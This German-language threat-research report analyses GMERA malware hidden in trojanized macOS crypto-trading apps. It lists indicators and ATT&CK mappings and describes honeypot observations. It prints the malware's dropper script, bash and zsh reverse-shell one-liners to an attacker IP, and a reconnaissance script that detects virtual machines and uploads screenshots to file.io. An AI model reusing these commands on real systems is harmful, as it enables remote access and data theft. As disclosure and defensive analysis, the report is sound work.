Wir haben kürzlich Websites entdeckt, die mit Malware verseuchte Krypto-Trading-Software für MacOS vertreibt. Diese Malware wird dazu verwendet, um Browser-Cookies und Krypto-Wallets zu stehlen sowie um Screenshots vom Rechner des Opfers zu machen. Bei der Analyse der Malware-Samples stellten wir schnell fest, dass es sich um eine neue Kampagne, der im September 2019 von Trend Micro entdeckten GMERA-Malware, handelt.
Wie bei den vorherigen Kampagnen meldet sich die Malware über HTTP an einem C&C-Server an startet Remote-Terminal-Sessions mit einem weiteren C&C-Server unter einer fest codierten IP-Adresse. Diesmal gingen die Malware-Autoren jedoch noch weiter. Sie versahen die ursprünglich legitime Trading-Anwendung Kattana mit ihrer Malware, benannten sie um und vertrieben sie auf einer Kopie der ursprünglichen Webseite. In verschiedenen Kampagnen konnten wir die folgenden fiktiven Brandings beobachten: Cointrazer, Cupatrade, Licatrade und Trezarus.
Neben der Analyse des Malware-Codes wurden von ESET-Forschern auch Honeypots eingerichtet, um die Motive der Kriminellen aufzudecken.
Distribution der Malware
Wir konnten noch nicht genau ermitteln, wo diese trojanisierten Anwendungen beworben werden. Im März 2020 veröffentlichte Kattana jedoch eine Warnung, wonach Opfer individuell angesprochen wurden, um sie zum Herunterladen der trojanisierten Programme zu verleiten. Wir konnten allerdings nicht bestätigen, dass diese Vorfälle mit der hier beschriebenen Kampagne in Zusammenhang stehen. Es ist allerdings sehr gut möglich.
Die nachgeahmten Webseiten wirken so echt, dass man den Download der gefälschten Anwendung leicht für legitim hält. Für Personen, die Kattana nicht kennen, sehen die Webseiten völlig echt aus.
Über den Download-Button auf der gefälschten Webseite kann ein ZIP-Archiv heruntergeladen werden, dass die trojanisierte Software enthält.
Analyse
Die Malware-Analyse ist in diesem Fall ziemlich einfach. Wir werden das Sample der bösartigen Licatrade-Software hier als Beispiel verwenden. Andere Samples weisen nur geringfügige Unterschiede auf, die Ideen und Funktionen sind jedoch im Wesentlichen gleich. Ähnliche Analysen früherer GMERA-Kampagnen finden Sie im Blogpost von Trend Micro und im Mac-Malware-Bericht von Objective-See von 2019.
Die Änderungszeitstempel der Dateien im ZIP-Archiv, das Signierungsdatum der Anwendung und der HTTP-Header "Last Modified" haben, zum Zeitpunkt unseres Downloads, alle den 15. April 2020 angezeigt. Das deutet darauf hin, dass diese Kampagne zu diesem Zeitpunkt gestartet wurde.
Ein Shell-Skript namens run.sh ist in den Ressourcen des Anwendungspakets enthalten. Diese in Swift geschriebene ausführbare Datei startet run.sh. Aus irgendeinem Grund hat der Malware-Autor die Funktion zur Kommunikation mit dem C&C-Server per HTTP und die Funktion zur Verbindung mit einem Remote Host über TCP doppelt integriert, sowohl in die ausführbare Hauptdatei als auch in das Shell-Skript. Eine zusätzliche Funktion, die nur im Shell-Skript enthalten ist, stellt die Persistenz der Malware durch die Installation eines Launch Agent her.
Hier ist die vollständige Shell-Skriptquelle (Auslassungspunkte in langer Zeichenfolge und defangiert):
#! /bin/bash
function remove_spec_char(){
echo "$1" | tr -dc '[:alnum:].\r' | tr '[:upper:]' '[:lower:]'
}
whoami="$(remove_spec_char `whoami`)"
ip="$(remove_spec_char `curl -s ipecho.net/plain`)"
req=`curl -ks "http://stepbystepby[.]com/link.php?${whoami}&${ip}"`
plist_text="ZWNobyAnc2R2a21…d2Vpdm5laXZuZSc="
echo "$plist_text" | base64 --decode > "/tmp/.com.apple.system.plist"
cp "/tmp/.com.apple.system.plist" "$HOME/Library/LaunchAgents/.com.apple.system.plist"
launchctl load "/tmp/.com.apple.system.plist"
scre=`screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'`
Interessanter Weise liegt Persistenz im Licatrade-Beispiel nicht vor: Der Inhalt der resultierenden Launch Agent-Datei (.com.apple.system.plist) liegt nicht, wie von launchd erwartet, im Property-List-Format vor, sondern ist die auszuführende Befehlszeile.
Der dekodierte Inhalt (Auslassungspunkte in langen Zeichenfolgen) der Variablen $plist_text lautet:
echo 'sdvkmsdfmsd…kxweivneivne'; while :; do sleep 10000; screen -X quit; lsof -ti :25733 | xargs kill -9; screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'; done; echo 'sdvkmsdfmsdfms…nicvmdskxweivneivne'
Bei direkter Ausführung würde dieser Code eine Reverse-Shell vom Computer des Opfers zu einem vom Angreifer kontrollierten Server öffnen, was hier jedoch fehlschlägt. Zum Glück für die Angreifer, startet die letzte Zeile des Shell-Skripts auch eine Reverse-Shell zu ihrem Server.
Das Cointrazer-Sample, das in Kampagnen vor Licatrade verwendet wurde, hat dieses Problem nicht: Der Launch Agent wird installiert und startet erfolgreich, wenn sich der Benutzer anmeldet.
Die verschiedenen Reverse Shells, die von diesen Malware-Betreibern verwendet werden, verbinden sich, je nachdem wie sie gestartet werden, mit verschiedenen Remote-Ports. Alle Verbindungen sind unverschlüsselt. Hier ist eine Portliste, basierend auf dem Licatrade-Sample.
TCP Port | Where | How |
---|---|---|
25733 | Licatrade executable | zsh in screen using ztcp |
run.sh | bash in screen using /dev/tcp | |
Launch Agent (Not working) | bash in screen using /dev/tcp | |
25734 | Licatrade executable | zsh using ztcp |
25735 | Licatrade executable | bash using /dev/tcp |
25736 | Licatrade executable | bash in screen using /dev/tcp |
25737 | Licatrade executable | bash in screen using /dev/tcp |
25738 | Licatrade executable | zsh in screen using ztcp |
Hier einige Beispiele für die verwendeten Befehlszeilen:
- Bash in screen using /dev/tcp:
screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'
- zsh using ztcp:
zsh -c 'zmodload zsh/net/tcp && ztcp 193.37.212[.]97 25734 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
Die umbenannte Kattana-Anwendung gehört ebenfalls zum Anwendungspaket. Wir wollten sehen, ob außer der Namens- und Icon-Änderung auch anderer Code in der Anwendung geändert wurde. Da Kattana nach Anmeldeinformationen für Handelsplattformen fragt, um den Handel durchzuführen, haben wir überprüft, ob diese Eingabemasken manipuliert wurden und ob die Anmeldeinformationen auf irgendeine Weise herausgefiltert werden.
Kattana wurde mit Electron erstellt und alle Electron-Apps verfügen über eine app.asar-Datei, dies ist ein Archiv, das den JavaScript-Code der Anwendung enthält. Wir haben alle Unterscheide zwischen der echten Kattana-Anwendung und der böswilligen Licatrade-Anwendung überprüft und dabei festgestellt, dass nur Zeichenfolgen und Bilder geändert wurden.
Licatrade und seine Ressourcen wurden alle mit demselben Zertifikat signiert, wobei das Common-Name-Feld den Namen Andrey Novoselov und die Entwickler-ID M8WVDT659T enthielt. Das Zertifikat wurde am 6. April 2020 von Apple ausgestellt. Es wurde noch am gleichen Tag widerrufen, an dem wir Apple über diese Malware informiert haben.
Jede der von uns analysierten Kampagnen verwendete ein anderes Zertifikat. Alle wurden bereits zu Beginn unserer Analysen von Apple widerrufen. Weitere Informationen dazu finden Sie im Abschnitt IoCs. Es ist interessant, dass im Fall von Cointrazer zwischen dem Zeitpunkt der Zertifikatsausstellung durch Apple und der Signierung der trojanisierten Anwendung durch die Kriminellen nur 15 Minuten lagen. Dies und die Tatsache, dass wir nichts anderes gefunden haben, das mit demselben Schlüssel signiert wurde, deutet darauf hin, dass sie das Zertifikat nur für diesen Zweck erstellt haben.
Infrastruktur
Die bösartige Licatrade-Anwendung war auf der Website licatrade.com verfügbar. Die C&C-HTTP-Server-Domain lautete stepbystepby.com. Beide Domains wurden unter der E-Mail-Adresse levistor777@gmail.com registriert. Sucht man nach anderen Domains, die mit dieser E-Mail-Adresse registriert wurden, dann sieht man Anzeichen für mehrere vorherige Kampagnen. Hier ist eine Liste von Domains, die wir in Samples gefunden oder über die genannte E-Mail-Adresse gefunden haben.
Domain name | Registration date | Comment |
---|---|---|
repbaerray.pw | 2019-02-25 | C&C server for HTTP report of Stockfolio app |
macstockfolio.com | 2019-03-03 | Website distributing the malicious Stockfolio app |
latinumtrade.com | 2019-07-25 | Website distributing the malicious Latinum app |
trezarus.com | 2019-06-03 | Website distributing the malicious Trezarus app |
trezarus.net | 2019-08-07 | #rowspan# |
cointrazer.com | 2019-08-18 | Website distributing the malicious Cointrazer app |
apperdenta.com | 2019-08-18 | Usage unknown |
narudina.com | 2019-09-23 | Usage unknown |
nagsrsdfsudinasa.com | 2019-10-09 | C&C server for HTTP report of Cointrazer app |
cupatrade.com | 2020-03-28 | Website distributing the malicious Cupatrade app |
stepbystepby.com | 2020-04-07 | C&C server for HTTP report of Licatrade app |
licatrade.com | 2020-04-13 | Website distributing the malicious Licatrade app |
creditfinelor.com | 2020-05-29 | Empty page, usage unknown |
maccatreck.com | 2020-05-29 | Some authentication form |
Sowohl die Websites als auch die Http-C&C-Server, die den ersten Bericht der Malware empfangen, werden hinter Cloudflare-Service gehostet.
Honeypot-Interaktionen
Um mehr über die Absichten dieser Gruppe zu erfahren, haben wir Honeypots eingerichtet, auf denen wir alle Interaktionen zwischen den Reverse-Shell-Backdoors von GMERA und den Betreibern dieser Malware überwacht haben.
Wir konnten keine Command&Control-Befehle über den Http-C&C-Server beobachten. Alle Vorgänge liefen über die Reverse Shells. Bei der ersten Verbindung sendete der C&C-Server ein kleines Skript, um den Benutzernamen, die macOS-Version und den Speicherort (basierend auf der externen IP-Adresse) des kompromittierten Geräts zu erfassen.
#! /bin/bash
function check() {
if [ ! -f /private/var/tmp/.i ]; then
write
else
if [ "$(( $(date +"%s") - $(stat -f "%m" /private/var/tmp/.i) ))" -gt "21600" ]; then
write
fi
fi
}
function write() {
getit=`curl -s ipinfo.io | grep -e country -e city | sed 's/[^a-zA-Z0-9]//g' | sed -e "s/city//g;s/country//g"`
echo `whoami` > /private/var/tmp/.i
echo `sw_vers -productVersion` >> /private/var/tmp/.i
echo "$getit" >> /private/var/tmp/.i
}
check
cat /private/var/tmp/.i
Wodurch ein solcher Bericht an die Betreiber geschickt wurde:
jeremy
10.13.4
Bratislava
SK
Die TCP-Verbindung bleibt offen und wartet auf weitere Befehle. In unserem Fall haben die Betreiber die Maschine nach einer Weile selbst inspiziert. Auf mehreren unserer Honeypots unterschieden sich die dafür genutzten Befehle. Ein Teil bestand nur aus dem Auflisten der Dateien im gesamten Dateisystem. Manchmal kopierten sie ein Base64-codiertes Skript, um Informationen zu sammeln, ob das System ein Honeypot oder tatsächlich interessant ist. Das Skript wird dekodiert und dann an bash weitergeleitet.
Hier ist das dekodierte Skript:
echo ""
echo "------ Whoami ------"
whoami
echo "------ IP info ------"
curl -s ipinfo.io
echo "------ Mac Model ------"
curl -s https://support-sp.apple.com/sp/product?cc=$(system_profiler SPHardwareDataType | awk '/Serial/ {print $4}' | cut -c 9-) | sed 's|.*<configCode>\(.*\)</configCode>.*|\1|'
echo "------ MacOS Version ------"
sw_vers -productVersion
sw_vers -productVersion | grep -E "10.15.*" && echo -e "\033[1;31m CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA \033[0m"
sleep 1
echo "------ MacOS Installed ------"
date -r /var/db/.AppleSetupDone
echo "------ Disks ------"
df -m
echo "------ Video Output ------"
system_profiler SPDisplaysDataType
echo "------ Wifi Around ------"
/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s
echo "------ Virtual Mashine Detector ------"
ioreg -l | grep -e Manufacturer -e 'Vendor Name' | grep -E "irtual|racle|ware|arallels" || echo "Probably not a Virtual Mashine..."
echo "--------------------------------"
echo "------ Developer Detector ------"
echo "--------------------------------"
echo "||| Applications |||"
ls -laht /Applications | grep -E "Xcode|ublime|ourceTree|Atom|MAMP|TextWrangler|Code|ashcode" && echo "-|Be Carefull|-"
echo "||| Short Bash History |||"
cat ~/.bash_history | head -n 20
echo "------ Desktop Screen ------"
echo "create screenshot..."
sw_vers -productVersion | grep -E "10.15.*" & screencapture -t jpg -x /tmp/screen.jpg &> /dev/null
sips -z 500 800 /tmp/screen.jpg &> /dev/null
sips -s formatOptions 50 /tmp/screen.jpg &> /dev/null
echo "uploading..."
curl -s -F "file=@/tmp/screen.jpg" https://file.io
Dieses Skript ähnelt sehr der Plugin-Datei in einem der im letzten Jahr analysierten Stockfolio-Samples. In den neueren Kampagnen haben sich die Cyberkriminellen jedoch dafür entschieden, das Aufklärungsskript nur an interessante Opfer über das Netzwerk zu senden. Es wurde auch aktualisiert, um einige zusätzliche Informationen aufzunehmen.
Wir gehen alle Abschnitte des Skripts hier durch:
- Abruf des vollständigen Berichts zur externen IP über ipinfo.io
- Das Mac-Modell wird anhand der letzten 4 Ziffern der Mac-Seriennummer und einem von Apple bereitgestellten HTTP-Dienst überprüft, der es in einen Anzeigenamen wie „MacBook Pro (Retina, 15 Zoll, Ende 2013)“ übersetzt. Virtuelle Maschinen haben wahrscheinlich ungültige Seriennummern und zeigen hier möglicherweise kein Modell an.
- Die installierte Version von macOS wird ausgegeben. Wenn auf dem Computer macOS Catalina (10.15) ausgeführt wird, wird ein ziemlich große rote Warnung angezeigt (unter Verwendung der ANSI-Escape-Sequenz). Wir glauben zu wissen warum. Später mehr dazu.
- Überprüft anhand der Änderungszeit der Datei /var/db/.AppleSetupDone, wann macOS installiert wurde.
- Gibt die Festplattennutzung und Details zu den angeschlossenen Monitoren aus.
- Es listet verfügbare Wi-Fi-Netzwerke auf. Bei Honeypots ist Wi-Fi wahrscheinlich deaktiviert.
- Es erkennt anhand der Herstellerzeichenfolgen der verbundenen Geräte, ob es sich bei dem Computer um eine virtuelle VMware-, Parallels- oder VirtualBox-Maschine handelt.
- Es prüft, ob gängige Texteditoren oder IDE-Anwendungen installiert sind. Es warnt die Bediener vor „Vorsicht“ (sic), da dieses Opfer möglicherweise besser mit Computern vertraut ist als gewöhnlich.
- Es werden die ersten (das heißt die ältesten) 20 Befehle aus der Bash-Verlaufsdatei abgerufen.
- Schließlich wird ein Screenshot erstellt, die Größe geändert und in file.io hochgeladen. Zuvor wird überprüft, ob auf dem System macOS Catalina ausgeführt wird. Ein Fehler im Skript macht diese Überprüfung jedoch unbrauchbar. Der Steueroperator "&", der Befehle parallel startet, wird anstelle des logischen UND-Operators ("&&") verwendet. Dies bedeutet, dass die Bildschirmaufnahme unabhängig von der macOS-Version erstellt wird.
Die Tatsache, dass bei macOS Catalina kein Screenshot aufgenommen werden soll und dass das Terminal des Bedieners ein deutliches Warnzeichen anzeigt, hat uns stutzig gemacht. Warum verhalten sich die Angreifer auf der aktuellen macOS-Version anders? Es stellte sich heraus, dass Catalina eine Funktion eingeführt hat, durch die das Aufzeichnen des Bildschirms oder das Aufnehmen eines Screenshots vom Benutzer für jede Anwendung genehmigt werden muss. Wir haben die Erstellung eines Screenshots über die Reverse Shell auf Catalina getestet und haben die folgende Warnung in unserer Sandbox erhalten (was ziemlich verdächtig ist, wenn man bedenkt, dass eine Trading-Software keinen Grund dazu hat).
Wird ein kompromittiertes System als interessant angesehen, dann beginnt die Exfiltrationsphase. Interessante Dateien werden in ein ZIP-Archiv komprimiert und über HTTP auf einen weiteren Server hochgeladen, der ebenfalls unter der Kontrolle der Angreifer steht.
Es ist lustig, dass die Datei /tmp/h.zip hier nicht vorhanden war. Vielleicht haben sie einen Befehl kopiert und eingefügt, der ursprünglich für ein anderes Opfer verwendet wurde.
Aufgrund der von uns beobachteten Aktivitäten kommen wir zu dem Schluss, dass es die Betreiber dieser Malware unter anderem darauf abgesehen haben:
- Browserinformationen (Cookies, Verlauf)
- Krypto-Wallets
- Screenshots
Fazit
Die zahlreichen Kampagnen dieser Gruppe zeigen, dass sie im letzten Jahr viel Aufwand betrieben haben, um Mac-Nutzer anzugreifen die Online-Trading betreiben. Wir sind uns immer noch nicht sicher, wie jemand zum Opfer wird, wenn er eine der trojanisierten Anwendungen herunterlädt. Die Hypothese, dass die Betreiber ihre Ziele direkt kontaktieren und dazu überreden die bösartige Anwendung zu installieren, erscheint aber am plausibelsten.
Interessant ist auch, dass der Malware-Betrieb in der neuesten Version von macOS eingeschränkter ist. Wir haben nicht beobachtet, dass die Betreiber versucht haben, die Einschränkungen bei Bildschirmaufnahmen zu umgehen. Darüber hinaus glauben wir, dass die einzige Möglichkeit, den Computerbildschirm auf Opfercomputern mit Catalina zu sehen, darin besteht, vorhandene Screenshots des Opfers zu verwenden. Dies ist ein gutes Praxisbeispiel dafür, wie eine schadensbegrenzende Implementierung im Betriebssystem, tatsächlich die Aktivitäten von Kriminellen einschränkt.
Indicators of Compromise (IoCs)
Samples
SHA-1 | Filename | ESET detection name |
---|---|---|
2AC42D9A11B67E8AF7B610AA59AADCF1BD5EDE3B | Licatrade.zip | multiple threats |
560071EF47FE5417FFF62CB5C0E33B0757D197FA | Licatrade.app/Contents/Resources/run.sh | OSX/Agent.BA |
4C688493958CC7CCCFCB246E706184DD7E2049CE | Licatrade.app/Contents/MacOS/Licatrade | OSX/Agent.BA |
9C0D839D1F3DA0577A123531E5B4503587D62229 | Cointrazer.zip | multiple threats |
DA1FDA04D4149EBF93756BCEF758EB860D0791B0 | Cointrazer.app/Contents/Resources/nytyntrun.sh | OSX/Agent.AZ |
F6CD98A16E8CC2DD3CA1592D9911489BB20D1380 | Cointrazer.app/Contents/MacOS/Cointrazer | OSX/Agent.BA |
575A43504F79297CBFA900B55C12DC83C2819B46 | Stockfolio.zip | multiple threats |
B8F19B02F9218A8DD803DA1F8650195833057E2C | Stockfolio.app/Contents/MacOS/Stockfoli | OSX/Agent.AZ |
AF65B1A945B517C4D8BAAA706AA19237F036F023 | Stockfolio.app/Contents/Resources/run.sh | OSX/Agent.AZ |
Code signing certificate
App name | Fingerprint (SHA-1) | Developer identity | Valid from | App signed on | Revoked on |
---|---|---|---|---|---|
Stockfolio | E5D2C7FB4A64EAF444728E5C61F576FF178C5EBF | Levis Toretto (9T4J9V8NV5) | 2018-11-25 | 2019-04-18 | 2019-07-26 |
Cointrazer | 1BC8EA284F9CE5F5F68C68531A410BCC1CE54A55 | Andrei Sobolev (A265HSB92F) | 2019-10-17 | 2019-10-17 | 2020-04-16 |
Licatrade | BDBD92BFF8E349452B07E5F1D2883678658404A3 | Andrey Novoselov (M8WVDT659T) | 2020-04-06 | 2020-04-15 | 2020-05-28 |
Network
Domain names
• repbaerray.pw
• macstockfolio.com
• latinumtrade.com
• trezarus.com
• trezarus.net
• cointrazer.com
• apperdenta.com
• narudina.com
• nagsrsdfsudinasa.com
• cupatrade.com
• stepbystepby.com
• licatrade.com
• creditfinelor.com
• maccatreck.com
IP Addresses
• 85.209.88.123
• 85.217.171.87
• 193.37.214.7
• 193.37.212.97
Host-based indicators
File paths
• $HOME/Library/LaunchAgents/.com.apple.upd.plist
• $HOME/Library/LaunchAgents/.com.apple.system.plist
• /tmp/.fil.sh
• /tmp/loglog
Launch Agent labels
• com.apple.apps.upd
• com.apples.apps.upd
MITRE ATT&CK techniques
Tactic | ID | Name | Description |
---|---|---|---|
Execution | T1204 | User Execution | Victim needs to run the malicious application to be compromised. |
T1059 | Command-Line Interface | GMERA provides reverse bash and zsh shells to its operators. | |
Persistence | T1159 | Launch Agent | GMERA installs a Launch Agent to maintain persistence. |
Defense Evasion | T1116 | Code Signing | All samples of GMERA we have analyzed were signed and used valid, Apple-signed (now revoked), certificates. |
Credential Access | T1139 | Bash History | A GMERA reconnaissance script lists the first 20 lines of the .bash_history file. |
T1539 | Steal Web Session Cookie | GMERA’s operators steal browser cookies via a reverse shell. | |
Discovery | T1083 | File and Directory Discovery | GMERA’s operators list files on the target system via a reverse shell and ls . |
T1497 | Virtualization/Sandbox Evasion | A GMERA reconnaissance script checks for devices specific to hypervisors and warns the operators if run in a virtual machine. | |
T1040 | Network Sniffing | A GMERA reconnaissance script lists Wi-Fi networks available to the compromised Mac using airport -s . | |
T1082 | System Information Discovery | A GMERA reconnaissance script lists information about the system such as macOS version, attached displays and Mac model. | |
T1518 | Software Discovery | A GMERA reconnaissance script checks whether developer tools are installed. | |
Collection | T1005 | Data from Local System | GMERA’s operators use this malware to exfiltrate files from the compromised system. |
T1113 | Screen Capture | GMERA’s operators take screenshots of the compromised system and exfiltrate them through file.io. | |
Command and Control | T1043 | Commonly Used Port | Initial reporting from the malware is done using HTTP on its standard TCP port (80). |
T1065 | Uncommonly Used Port | GMERA reverse shells are opened by connecting to C&C server TCP ports in the range 25733 to 25738. | |
Exfiltration | T1048 | Exfiltration Over Alternative Protocol | GMERA exfiltrates files from the reverse shell using HTTP to another attacker-controlled server. |